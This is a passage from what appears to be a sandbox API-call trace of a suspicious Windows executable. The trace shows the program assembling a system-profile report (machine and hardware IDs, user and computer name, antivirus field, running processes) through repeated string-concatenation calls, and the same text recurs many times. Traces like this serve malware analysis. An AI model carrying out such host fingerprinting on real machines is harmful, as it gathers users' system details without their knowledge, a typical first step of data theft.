[440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe ["
[0054.877] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da98
[0054.877] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67db08
[0054.877] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.877] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [", lpString2="560" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560"
[0054.877] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n"
[0054.877] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="station.exe")) returned 1
[0054.878] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- "
[0054.878] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- ", lpString2="station.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe"
[0054.878] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe 